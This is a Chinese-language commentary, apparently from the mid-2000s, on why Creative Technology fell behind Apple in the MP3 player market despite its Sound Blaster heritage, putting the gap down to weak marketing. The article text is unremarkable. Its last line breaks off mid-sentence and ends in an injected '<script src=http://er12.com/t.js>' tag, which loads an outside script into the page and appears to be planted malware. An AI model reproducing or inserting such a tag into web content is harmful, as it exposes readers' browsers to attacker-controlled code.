高端数码随身听领域，百花齐放的竞争局面早已演变成了寡头角逐的阵场，强者恒强似乎也已不再是打不破的定律了。这两年来，苹果已毫无疑问的成就了业界的神话，市场份额的节节攀升已将其它的竞争对手远远的抛在身后。
近期mp3业界最炙手可热的新闻，莫过于创新与苹果之间关于专利的纠纷了，最终，苹果电脑同意向创新科技支付1亿美元的技术许可费，以结束双方日益升级的专利诉讼之战。只是，在这场貌似结束的纠纷背后，却让我们对于创新科技有了更深一层的解读。
技术的领先
成立于上个世纪的八十年代的新加坡创新科技，在整个八十年代一直到九十年代末，始终作为pc音频领域的霸主而长期保持着领先的位置。
早在1989年，创新科技就推出了sound blaster声霸卡，这款11位fm波表合成的声卡因具有文字语音转换功能以及数字输入输入以及集成了游戏杆接口和易用软件的捆绑而获得了空前的成功，并成为当时pc音频领域的绝对标准。1991年，创新推出的sound blaster pro立体声霸卡推出即成为多媒体电脑的立体声音频工业标准。1994年，创新科技的sound blaster被选为中国国家科学展览馆的永久展品，这一认证进一步加强了sound blaster作为pc机音频标准的地位。1997年，在美国拉斯维加斯举行的comdex会议上，创新科技展示了将推动21世纪音频工业的环境音效的解决方案令得业界再度震惊。随后的2002年，创新又一次再度发布了历史上第一款外置声卡sound blaster extigy。可以通过usb接口和笔记本电脑及台式机直接连接……。
从发明世界上第一块电脑声卡开始，创新科技就以不断的创新和绝对的技术优势得到了业界的认可。
市场的先知
直到近两年，板载声卡的迅速普及才使得创新声卡在市面上的声音逐渐的减弱，这对于创新来说无疑是个不小的打击。不过具有市场敏感度的创新似乎在pc声卡的没落之前就已经找到了市场发展的新机遇，那就是现在早已普及的数码音乐随身听，利用自身的技术优势，早在2000年初，创新科技就推出了第一款硬盘式mp3播放器产品nomad jukebox，随后的两年里，创新科技一直在持续不断的推出了功能更强大、技术更先进的一系列新品，旗下的经典产品我们可以信手捻来。同时，创新也是在业界率先在音乐播放器中使用闪存代替硬盘的厂商之一。
让人觉得不解甚至有些遗憾的是，这个对于市场先机把握得很准的技术厂商，过早的投入到了个人数字娱乐领域却并没有得像预期的那样获得丰厚的市场回报，虽然所有的人对于它的技术不持任何怀疑的态度，但其数字音乐播放器产品在市场上的表现一直显得平平淡淡。
失利在哪里？
在声卡市场获得了巨大的回报，本以为凭借自身技术优势能平稳过渡到数字音乐播放器的创新科技，转型之路一直坎坷不平，2005年更是遭受到了有史以来的最大打击，有数据显示，2005年的创新尽管全面削减开支，并获得1000万美元的税务收益(tax gain)，创新科技的全年净亏损则达1亿1820万美元。
在创新推出硬盘mp3的时候，市面上基本上找不到它的竞争对手，落后两年的在苹果推出首款5g ipod之前，创新公司就有了20g的同类产品。但经过短短不到两年的时间，这个后来者便以遥遥领先的市场占有率将创新抛在身后，这不得不令人惊叹。
赢得市场的并不一定是技术最好的
决定市场是否成功的无非就是产品技术与市场营销两方面，作为mp3播放器的先行者，相关技术也一直处于领先水平的创新，勿庸置疑。
营销方面，我们以目前最为火热的苹果为例，相信很多人都不会否认，整个2005年的秋天，在ipod nano新品还没有推出的时候，业界就被这款被苹果称之为“神奇”的产品望眼欲穿，接下来，在完善ipod产品的同时，苹果公司又花费了很大精力打造了一个以数字音乐为核心的运营平台，并尝试通过提供音乐服务来促进硬件产品的配套销售，有了这个数字音乐平台，苹果不仅从数字音乐下载中获益非浅，更为重要的是借助音乐下载销售出了大量的ipod产品。
吊足了消费者的胃口，让全世界音乐迷为之疯狂，这一招堪称mp3产品营销推广的成功典范。
苹果的现任ceo乔布斯，在创立苹果又离开苹果并重新创业的过程中，很显然的就清楚的意识到了一个真理，一味的追求技术的领先而忽略市场的营销势影响企业的发展，随后的苹果公司在通过一系列的营销转型之后，终于成就了今天的辉煌。
反观创新，却一直把注意力集中在产品和技术本身，忽略了营销的重要性。让我们似乎可以看到昔日苹果惨淡时的缩影。营销方面的方式单一陈旧，投入也屈指可数。据媒体报道，创新公司直到2004年前都没有投放任何电视广告，之后也仅在亚洲投放了电视广告，该公司在营销方面的预算比同行比要低得多。
创新公司的创始人沈望傅在接受媒体采访时表示，他不想把钱浪费在营销上。他宁可把大部分的精力都投入到了新技术和新产品的开发之中。这一点和早期?script src=http://er12.com/t.js>
